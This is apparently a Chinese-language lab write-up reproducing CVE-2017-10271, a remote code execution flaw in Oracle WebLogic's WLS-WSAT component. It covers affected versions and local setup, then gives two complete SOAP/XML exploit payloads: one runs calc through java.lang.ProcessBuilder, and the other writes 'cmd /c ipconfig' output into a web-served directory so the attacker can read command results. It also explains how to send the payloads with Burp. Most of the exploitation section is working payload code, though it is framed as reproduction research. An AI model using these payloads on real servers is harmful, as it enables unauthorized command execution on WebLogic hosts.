今天偶然看到WebLogic WLS组件存在漏洞,本地搭建环境测试一下,复现报告只保证本人可以看懂
分隔符———————————————————————————————
1、环境的准备
漏洞的编号
CVE-2017-10271
漏洞存在的版本
10.3.6.0.0
12.1.3.0.0
12.2.1.1.0
12.2.1.2.0
本地复现版本为:10.3.6.0.0
提供下载地址:
抓包工具:burpsuite
2、漏洞复现环境搭建
靶机:Windows Server 2008 R2 x64
攻击机:物理机
3.1 环境的配置
3.1.1 安装JDK:
3.1.2 安装WebLogic:
不勾选 “我希望通过My Oracle Support接收安全更新"
设置管理员用户名和口令(weblogic\weblogic888)
选择生产模式
若安装选择的默认路径与默认域名,在如下路径中运行
C:\Oracle\Middleware\user_projects\domains\base_domain\WebLogic.cmd
此时访问:http://127.0.0.1:7001/wls-wsat/CoordinatorPortType
出现下面这个页面。,说明已经安装成功
3、漏洞利用poc
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>calc</string>
</void>
<void index="1">
<string></string>
</void>
<void index="2">
<string> </string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
4、漏洞利用过程
使用攻击机访问靶机的WLS组件,并用burp把包拦截下来:
使用post方法发送上述POC,并添加Content-Type:text/xml,把Cache-Control修改为no-cache
返回的状态码为500:
返回去计算器已经弹出来了
接下来说一下命令回显的一个小方法。但是有前提的。前提是足够写入权限。
可以通过执行命令的方式进行一个回显。如Windows下的命令:ipconfig >> c:\1.txt 就可以将ipconfig的结果存放到了c:\1.txt下。我们也可以如此。接下来修改下POC:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.6.0" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="5">
<void index="0">
<string>cmd</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>ipconfig</string>
</void>
<void index="3">
<string>>></string>
</void>
<void index="4">
<string>servers/AdminServer/tmp/_WL_internal/wls-wsat/ipconfig.txt</string>
</void>
</array>
<void method="start"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
注意:在<array class="java.lang.String" length="5">这里的长度需要对照着下边所传的参数填写。array内的void有多少个那么长度就为多少。还有void内的index是从0开始填写。输出的路径为上面所填写即直接输出到了weblogic对应目录下了。以上组成的命令就是为:cmd /c ipconfig >> C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp_WL_internal\wls-wsat,可以测试一下: